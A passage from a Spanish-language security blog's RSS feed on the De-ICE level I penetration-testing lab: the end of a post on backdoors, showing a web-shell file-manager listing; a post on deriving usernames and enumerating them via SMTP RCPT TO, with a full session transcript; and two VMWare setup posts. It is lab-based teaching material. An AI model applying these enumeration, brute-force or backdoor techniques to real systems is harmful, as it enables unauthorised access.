<td width="66" height="28" align="center">#                 <span style="color: #ff9933; font-size: x-small;"><strong>Edit</strong></span></td>
<td width="75" height="28" align="center">#                 <span style="color: #999999; font-size: x-small;"><strong>Chmod</strong></span></td>
<td height="28" align="center"><span style="color: #ff0000; font-size: x-small;"><strong>Delete</strong></span></td>
</tr>
<tr>
<th width="250" height="22" align="left"><span style="text-decoration: none;"><span style="color: #666666; font-size: x-small;"> . <span style="color: #ff0000; font-size: xx-small;">dir</span></span></span></th>
<td width="113" align="center"><span style="color: #000080; font-size: x-small;"><strong> # </strong></span></td>
<td width="103" align="center">#</td>
<td width="77" align="center">#</td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #999999; font-size: x-small;">Chmod</span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #ff0000; font-size: x-small;">Delete</span></span></td>
</tr>
<tr>
<th width="250" height="22" align="left"><span style="text-decoration: none;"><span style="color: #666666; font-size: x-small;"> .. <span style="color: #ff0000; font-size: xx-small;">dir</span></span></span></th>
<td width="113" align="center"><span style="color: #000080; font-size: x-small;"><strong> # </strong></span></td>
<td width="103" align="center">#</td>
<td width="77" align="center">#</td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #999999; font-size: x-small;">Chmod</span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #ff0000; font-size: x-small;">Delete</span></span></td>
</tr>
<tr>
<th width="250" height="22" align="left"><span style="color: #666666; font-size: x-small;"> infosys.php </span></th>
<td width="113" align="center"><span style="color: #000080; font-size: x-small;"><strong>62 # </strong></span></td>
<td width="103" align="center"><span style="text-decoration: none;"><span style="color: #006600; font-size: x-small;">download # </span></span></td>
<td width="77" align="center"><span style="text-decoration: none;"><span style="color: #ff9933; font-size: x-small;">Edit # </span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #999999; font-size: x-small;">Chmod</span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #ff0000; font-size: x-small;">Delete</span></span></td>
</tr>
<tr>
<th width="250" height="22" align="left"><span style="color: #666666; font-size: x-small;"> level.php </span></th>
<td width="113" align="center"><span style="color: #000080; font-size: x-small;"><strong>2 # </strong></span></td>
<td width="103" align="center"><span style="text-decoration: none;"><span style="color: #006600; font-size: x-small;">download # </span></span></td>
<td width="77" align="center"><span style="text-decoration: none;"><span style="color: #ff9933; font-size: x-small;">Edit # </span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #999999; font-size: x-small;">Chmod</span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #ff0000; font-size: x-small;">Delete</span></span></td>
</tr>
<tr>
<th width="250" height="22" align="left"><span style="color: #666666; font-size: x-small;"> index2.php </span></th>
<td width="113" align="center"><span style="color: #000080; font-size: x-small;"><strong>3 # </strong></span></td>
<td width="103" align="center"><span style="text-decoration: none;"><span style="color: #006600; font-size: x-small;">download # </span></span></td>
<td width="77" align="center"><span style="text-decoration: none;"><span style="color: #ff9933; font-size: x-small;">Edit # </span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #999999; font-size: x-small;">Chmod</span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #ff0000; font-size: x-small;">Delete</span></span></td>
</tr>
<tr>
<th width="250" height="22" align="left"><span style="color: #666666; font-size: x-small;"> index.php </span></th>
<td width="113" align="center"><span style="color: #000080; font-size: x-small;"><strong>2 # </strong></span></td>
<td width="103" align="center"><span style="text-decoration: none;"><span style="color: #006600; font-size: x-small;">download # </span></span></td>
<td width="77" align="center"><span style="text-decoration: none;"><span style="color: #ff9933; font-size: x-small;">Edit # </span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #999999; font-size: x-small;">Chmod</span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #ff0000; font-size: x-small;">Delete</span></span></td>
</tr>
<tr>
<th width="250" height="22" align="left"><span style="color: #666666; font-size: x-small;"> copyright.txt </span></th>
<td width="113" align="center"><span style="color: #000080; font-size: x-small;"><strong>15 # </strong></span></td>
<td width="103" align="center"><span style="text-decoration: none;"><span style="color: #006600; font-size: x-small;">download # </span></span></td>
<td width="77" align="center"><span style="text-decoration: none;"><span style="color: #ff9933; font-size: x-small;">Edit # </span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #999999; font-size: x-small;">Chmod</span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #ff0000; font-size: x-small;">Delete</span></span></td>
</tr>
<tr>
<th width="250" height="22" align="left"><span style="color: #666666; font-size: x-small;"> background.jpg </span></th>
<td width="113" align="center"><span style="color: #000080; font-size: x-small;"><strong>41 # </strong></span></td>
<td width="103" align="center"><span style="text-decoration: none;"><span style="color: #006600; font-size: x-small;">download # </span></span></td>
<td width="77" align="center"><span style="text-decoration: none;"><span style="color: #ff9933; font-size: x-small;">Edit # </span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #999999; font-size: x-small;">Chmod</span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #ff0000; font-size: x-small;">Delete</span></span></td>
</tr>
<tr>
<th width="250" height="22" align="left"><span style="color: #666666; font-size: x-small;"> info.php </span></th>
<td width="113" align="center"><span style="color: #000080; font-size: x-small;"><strong>0 # </strong></span></td>
<td width="103" align="center"><span style="text-decoration: none;"><span style="color: #006600; font-size: x-small;">download # </span></span></td>
<td width="77" align="center"><span style="text-decoration: none;"><span style="color: #ff9933; font-size: x-small;">Edit # </span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #999999; font-size: x-small;">Chmod</span></span></td>
<td width="86" align="center"><span style="text-decoration: none;"><span style="color: #ff0000; font-size: x-small;">Delete</span></span></td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">etc&#8230;</p>
<p style="text-align: justify;">Vuelvo y reitero la invitación a que los lectores compartan sus métodos para habilitar puertas traseras en sistemas.</p>
<p style="text-align: justify;">En futuros entornos conoceremos algunos métodos aún más avanzados que los presentados en este post realizado a modo de introducción a los Backdoors.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sec-track.com/desarrollo-del-entorno-de-ice-nivel-i-%e2%80%93-backdoors-manteniendo-el-acceso/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Desarrollo del Entorno De-Ice nivel I – Recolección de Información / Enumeración de usuarios</title>
		<link>http://www.sec-track.com/desarrollo-del-entorno-de-ice-nivel-i-%e2%80%93-recoleccion-de-informacion-enumeracion-de-usuarios</link>
		<comments>http://www.sec-track.com/desarrollo-del-entorno-de-ice-nivel-i-%e2%80%93-recoleccion-de-informacion-enumeracion-de-usuarios#comments</comments>
		<pubDate>Tue, 10 Nov 2009 01:37:07 +0000</pubDate>
		<dc:creator>4v4t4r</dc:creator>
				<category><![CDATA[Test de Penetración]]></category>
		<category><![CDATA[De-ICE]]></category>
		<category><![CDATA[Enumeración de usuarios]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[SMTP]]></category>

		<guid isPermaLink="false">http://www.sec-track.com/?p=244</guid>
		<description><![CDATA[Una vez identificada la información correspondiente al mapa de red, aplicaciones y servicios disponibles en el sistema objetivo. Podemos comenzar con la recolección de información sensible o de interés para posibles ataques. Se hace necesario realizar varios tipos de test; entre ellos un escaneo de directorios y archivos (árbol de directorios del aplicativo web), pruebas [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Una vez identificada la información correspondiente al mapa de red, aplicaciones y servicios disponibles en el sistema objetivo. Podemos comenzar con la recolección de información sensible o de interés para posibles ataques.</p>
<p style="text-align: justify;">Se hace necesario realizar varios tipos de test; entre ellos un escaneo de directorios y archivos (árbol de directorios del aplicativo web), pruebas de conexión a los diferentes servicios, etc. Todos estos procedimientos son detallados en las metodologías<a href="http://www.sec-track.com/issaf-information-system-security-assessment-framework" target="_blank"><strong> ISSAF</strong></a> y <a href="http://www.sec-track.com/osstmm-open-source-security-testing-methodology-manual" target="_blank"><strong>OSSTMM</strong></a>.</p>
<p style="text-align: justify;"><span id="more-244"></span>Más importante aun es analizar en detalle el aplicativo web y la información que suministran. Para ello incluiré varios mensajes generados a través de la <a href="http://www.sec-track.com/lista-de-discusion-comentarios-sugerencias-solucionarios-retos-etc-de-sec-track" target="_blank"><strong>lista de discusión</strong></a> del <a href="http://www.sec-track.com" target="_blank"><strong>Proyecto Sec-Track</strong></a>.</p>
<p style="text-align: justify;"><a href="http://nonroot.blogspot.com/" target="_blank"><strong>Fernando Quintero:</strong></a></p>
<p style="text-align: justify;">En la página aparecen los nombres y apellidos de personas, algo importante a identificar es que existe un patrón de creación de cuentas de correo, que consite en el apellido y la primera letra del nombre, esto en un caso real nos da la posibilidad de generar una lista de posibles usuarios a  fuerza bruta, buscando en un directorio nacional los apellidos mas comunes y luego haciendo fuerza bruta con la primera letra de los nombres de usuario:</p>
<p>sanchez<br />
cortes<br />
pelaez<br />
murcia<br />
etc,</p>
<p>Luego se combinarían con letras como a, b, c, d, e, f, g, produciendo:</p>
<p style="text-align: justify;">sancheza<br />
sanchezb<br />
sanchezc<br />
murciad XD</p>
<p style="text-align: justify;">Hay algo interesante y es que varios usuarios aparecen con el título de sysadmins, lo que nos hace pensar que son los encargados de la red, y si pensamos en cual es la forma de mantener un servidor web que esta en un hosting, sabemos que debemos usar protocolos de transferencia de archivos, como ftp, scp, sftp, etc. De ahí concluimos que estos usuarios sysadmins deben tener acceso a estos servicios, creo que esta es la deducción que se hace para poder intentar un ataque de fuerza bruta con los usuarios.</p>
<p style="text-align: justify;">Si se logra entrar a la máquina con un usuario sysadmin, podemos pensar en que ese usuario tiene alguna forma de escalar privilegios para poder administrar el sistema, entonces sería un objetivo primario.</p>
<p style="text-align: justify;">Se observa que el servicio FTP esta cerrado, por alguna razón, o no está cerrado, esta filtrado, esto nos lleva a pensar que hay algo que se puede transferir por ftp, pero no es tan fácil hacerlo, porque existe algun método de protección, pero es la pista para  que unavez estemos adentro buscar cosas relacionadas con el FTP.</p>
<p style="text-align: justify;">Yo sugerí que además de esto podría generarse dicho listado de usuarios realizando combinaciones de primera/s letras de nombre con apellido. Por lo tanto obtendríamos un listado bastante amplio de usuarios. Por ejemplo (primera letra de nombre+apellido / primeras dos letras de nombre+apellido / nombre / apellido:</p>
<p style="text-align: justify;">admin<br />
adam<br />
adams<br />
adamsa<br />
bob<br />
banter<br />
banterb<br />
chad<br />
coffee<br />
coffeec<br />
aadams<br />
bbanter<br />
ccoffee<br />
adadams<br />
bobanter<br />
chcoffee<br />
etc&#8230;</p>
<p style="text-align: justify;"><strong>Continúo sugiriendo lo siguiente:</strong></p>
<p style="text-align: justify;">Si obtamos en este momento por un ataque de fuerza bruta a alguno de  los servicios disponibles (por ejemplo ssh) nos arriesgamos a ocupar un periodo de tiempo considerable.</p>
<p style="text-align: justify;"><strong>¿Cómo optimizar este tiempo? </strong></p>
<p style="text-align: justify;">Enumeración de usuarios por medio del servicio SMTP.</p>
<p style="text-align: justify;">Este sería de la siguiente manera:</p>
<p style="text-align: justify;">Usando el comando VRFY (No sirve)<br />
220 slax.example.net ESMTP Sendmail 8.13.7/8.13.7; Sat, 7 Nov 2009<br />
20:29:11 GMT<br />
HELO<br />
501 5.0.0 HELO requires domain address<br />
HELO x<br />
250 slax.example.net Hello [192.168.1.2], pleased to meet you<br />
VRFY root<br />
252 2.5.2 Cannot VRFY user; try RCPT to attempt delivery (or try<br />
finger)</p>
<p style="text-align: justify;"><strong>&#8212;-</strong></p>
<p style="text-align: justify;">Usando el comando RCPT TO (Si sirve (Y))</p>
<p style="text-align: justify;">220 slax.example.net ESMTP Sendmail 8.13.7/8.13.7; Sat, 7 Nov 2009<br />
20:34:53 GMT<br />
HELO<br />
501 5.0.0 HELO requires domain address<br />
HELO x<br />
250 slax.example.net Hello [192.168.1.2], pleased to meet you<br />
MAIL FROM:r<a href="http://groups.google.com.co/groups/unlock?hl=es&amp;_done=/group/sec-track/browse_thread/thread/38ac6e2fe1952e43%3Fhl%3Des&amp;msg=46c2129e4df770ba" target="_parent">&#8230;</a>@slax.example.net<br />
250 2.1.0 r<a href="http://groups.google.com.co/groups/unlock?hl=es&amp;_done=/group/sec-track/browse_thread/thread/38ac6e2fe1952e43%3Fhl%3Des&amp;msg=46c2129e4df770ba" target="_parent">&#8230;</a>@slax.example.net&#8230; Sender ok<br />
RCPT TO:root<br />
250 2.1.5 root&#8230; Recipient ok<br />
RCPT TO:admin<br />
550 5.1.1 admin&#8230; User unknown<br />
RCPT TO:adam<br />
550 5.1.1 adam&#8230; User unknown<br />
RCPT TO:adams<br />
550 5.1.1 adams&#8230; User unknown<br />
RCPT TO:bob<br />
550 5.1.1 bob&#8230; User unknown<br />
RCPT TO:banter<br />
550 5.1.1 banter&#8230; User unknown<br />
RCPT TO:chad<br />
550 5.1.1 chad&#8230; User unknown<br />
RCPT TO:coffee<br />
550 5.1.1 coffee&#8230; User unknown<br />
RCPT TO:coffec<br />
550 5.1.1 coffec&#8230; User unknown<br />
RCPT TO:aadams<br />
250 2.1.5 aadams&#8230; Recipient ok<br />
RCPT TO:bbanter<br />
250 2.1.5 bbanter&#8230; Recipient ok<br />
RCPT TO:ccoffee<br />
250 2.1.5 ccoffee&#8230; Recipient ok<br />
RCPT TO:adadams<br />
550 5.1.1 adadams&#8230; User unknown<br />
RCPT TO:bobanter<br />
550 5.1.1 bobanter&#8230; User unknown<br />
RCPT TO:chcoffee<br />
550 5.1.1 chcoffee&#8230; User unknown</p>
<p style="text-align: justify;">De esta manera obtenemos exactamente los usuarios válidos en el  sistema y no ocupamos un tiempo exagerado tratando de autenticar un  usuario que no existe en el sistema.</p>
<p style="text-align: justify;"><strong>Usuarios válidos: </strong><br />
root<br />
aadams<br />
bbanter<br />
ccoffee</p>
<p style="text-align: justify;">Una herramienta que puede automatizar este proceso de enumeración de usuarios por medio del servicio SMTP es la siguiente:</p>
<p style="text-align: justify;"><a rel="nofollow" href="http://pentestmonkey.net/tools/smtp-user-enum/" target="_blank">http://pentestmonkey.net/tools/smtp-user-enum/</a></p>
<p style="text-align: justify;">Para realizar los ataques de fuerza bruta, pueden utilizar los siguientes recursos:</p>
<p style="text-align: justify;"><a href="http://labs.dragonjar.org/laboratorios-hacking-tecnicas-y-contramedidas-ataques-por-fuerza-bruta-brute-force-vi" target="_blank">Laboratorios: Hacking – Técnicas y contramedidas – Ataques por fuerza bruta (Brute Force) VI</a></p>
<p style="text-align: justify;"><a href="http://labs.dragonjar.org/laboratorios-hacking-tecnicas-y-contramedidas-ataques-por-fuerza-bruta-brute-force-v" target="_blank">Laboratorios: Hacking – Técnicas y contramedidas – Ataques por fuerza bruta (Brute Force) V</a></p>
<p style="text-align: justify;"><a href="http://labs.dragonjar.org/desarrollo-del-laboratorio-virtual-test-de-penetracion-system-hacking" target="_blank">Desarrollo del Laboratorio Virtual – Test de Penetración – System Hacking</a></p>
<p style="text-align: justify;">Hasta aquí esta segunda parte&#8230; En el próximo post veremos el método de escalada de privilegios y recolección de información crítica en el sistema sugerida por <a href="http://nonroot.blogspot.com/" target="_blank"><strong>Fernando Quintero.</strong></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.sec-track.com/desarrollo-del-entorno-de-ice-nivel-i-%e2%80%93-recoleccion-de-informacion-enumeracion-de-usuarios/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Video tutorial de configuración de los entornos De-Ice sobre GNU/Linux BackTrack</title>
		<link>http://www.sec-track.com/video-tutorial-de-configuracion-de-los-entornos-de-ice-sobre-gnulinux-backtrack</link>
		<comments>http://www.sec-track.com/video-tutorial-de-configuracion-de-los-entornos-de-ice-sobre-gnulinux-backtrack#comments</comments>
		<pubDate>Thu, 29 Oct 2009 08:49:57 +0000</pubDate>
		<dc:creator>4v4t4r</dc:creator>
				<category><![CDATA[Test de Penetración]]></category>
		<category><![CDATA[Videos]]></category>
		<category><![CDATA[BackTrack]]></category>
		<category><![CDATA[De-ICE]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Virtualización]]></category>
		<category><![CDATA[VMWare]]></category>

		<guid isPermaLink="false">http://www.sec-track.com/?p=219</guid>
		<description><![CDATA[Corto video tutorial demostrativo del proceso de configuración de los entornos para entrenamiento en Test de Penetración &#8220;De-Ice&#8221; sobre el Sistema Operativo GNU/Linux BackTrack. En el siguiente video tutorial se muestra el proceso necesario para llevar a cabo la configuración de los entornos De-Ice sobre el software de virtualización VMWare WorkStation en GNU/Linux BackTrack. Cabe [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Corto video tutorial demostrativo del proceso de configuración de los entornos para entrenamiento en <a href="http://www.sec-track.com/test-de-penetracion" target="_blank"><strong>Test de Penetración</strong></a> &#8220;De-Ice&#8221; sobre el Sistema Operativo <a href="http://www.sec-track.com/tag/backtrack" target="_blank"><strong>GNU/Linux BackTrack</strong></a>.</p>
<p style="text-align: justify;">En el siguiente video tutorial se muestra el proceso necesario para llevar a cabo la configuración de los entornos De-Ice sobre el software de virtualización <a href="http://www.vmware.com/products/workstation/index.html" target="_blank"><strong>VMWare WorkStation</strong></a> en <a href="http://www.sec-track.com/tag/backtrack" target="_blank"><strong>GNU/Linux BackTrack</strong></a>.</p>
<p style="text-align: justify;">Cabe resaltar que el producto <a href="http://www.vmware.com/" target="_blank"><strong>VMWare</strong></a> se encuentra disponible de manera gratuita en su <a href="http://www.vmware.com/products/server/" target="_blank"><strong>versión Server</strong></a> (previo registro y envío del serial), en modo Trial de 30 días en su <a href="http://www.vmware.com/products/workstation/index.html" target="_blank"><strong>versión WorkStation</strong></a> y de manera gratuita sin envío de serial en su <a href="http://www.vmware.com/products/player/" target="_blank"><strong>versión Player</strong></a>.</p>
<p style="text-align: justify;">Es importante para una correcta configuración tener muy claro los conceptos de interfaces de redes y como consultarlas y utilizarlas.</p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="300" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=7324434&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed type="application/x-shockwave-flash" width="400" height="300" src="http://vimeo.com/moogaloop.swf?clip_id=7324434&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><a href="http://vimeo.com/7324434">Configuración entornos De-Ice sobre GNU/Linux BackTrack</a> from <a href="http://vimeo.com/user2489751">Sec-Track</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sec-track.com/video-tutorial-de-configuracion-de-los-entornos-de-ice-sobre-gnulinux-backtrack/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Configuración De-ICE PenTest LiveCDs (Nivel I) en VMWare</title>
		<link>http://www.sec-track.com/configuracion-de-ice-pentest-livecds-nivel-i-en-vmware</link>
		<comments>http://www.sec-track.com/configuracion-de-ice-pentest-livecds-nivel-i-en-vmware#comments</comments>
		<pubDate>Wed, 21 Oct 2009 06:46:44 +0000</pubDate>
		<dc:creator>4v4t4r</dc:creator>
				<category><![CDATA[Test de Penetración]]></category>
		<category><![CDATA[De-ICE]]></category>
		<category><![CDATA[Hack Labs]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[Virtualización]]></category>
		<category><![CDATA[VMWare]]></category>

		<guid isPermaLink="false">http://www.sec-track.com/?p=183</guid>
		<description><![CDATA[Video tutorial demostrativo del modo de implementación/configuración del primer entorno publicado por Sec-Track: De-ICE PenTest LiveCDs (Nivel I). Este entorno hace parte del proyecto de Thomas Wilhelm De-ICE PenTest LiveCds (www.heorot.net) y será utilizado para brindar el primer acercamiento a los Test de Penetración. Herramientas / Recursos: VMWare /Workstation /Server /Player, .ISO De-Ice Nivel I [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Video tutorial demostrativo del modo de implementación/configuración del primer entorno publicado por <strong><a href="http://www.sec-track.com/de-ice-pentest-livecds-nivel-i" target="_blank">Sec-Track: De-ICE PenTest LiveCDs (Nivel I)</a></strong>.</p>
<p style="text-align: justify;">Este entorno hace parte del proyecto de <a href="http://heorot.net/about/" target="_blank"><strong>Thomas Wilhelm</strong></a> De-ICE PenTest LiveCds (<a href="http://www.heorot.net" target="_blank"><strong>www.heorot.net</strong></a>) y será utilizado para brindar el primer acercamiento a los Test de Penetración.</p>
<p><strong>Herramientas / Recursos:</strong> <strong><a href="http://www.vmware.com/" target="_blank">VMWare</a></strong> /<strong><a href="http://www.vmware.com/products/workstation/index.html" target="_blank">Workstation</a></strong> /<strong><a href="http://www.vmware.com/products/server/" target="_blank">Server</a></strong> /<strong><a href="http://www.vmware.com/products/player/" target="_blank">Player</a></strong>, <strong><a href="http://www.adrive.com/public/d5dc5d5dd7eec2d5ee6051d3d5ab235f5c8273357169e8dd6b01069fc5e4c51f.html" target="_blank">.ISO De-Ice Nivel I</a></strong></p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="300" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=7177657&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed type="application/x-shockwave-flash" width="400" height="300" src="http://vimeo.com/moogaloop.swf?clip_id=7177657&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><a href="http://vimeo.com/7177657">Instalación De-Ice (Nivel I) en VMWare Workstation /Server</a> from <a href="http://vimeo.com/user2489751">Sec-Track</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sec-track.com/configuracion-de-ice-pentest-livecds-nivel-i-en-vmware/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Served from: www.sec-track.com @ 2012-02-05 13:49:51 -->
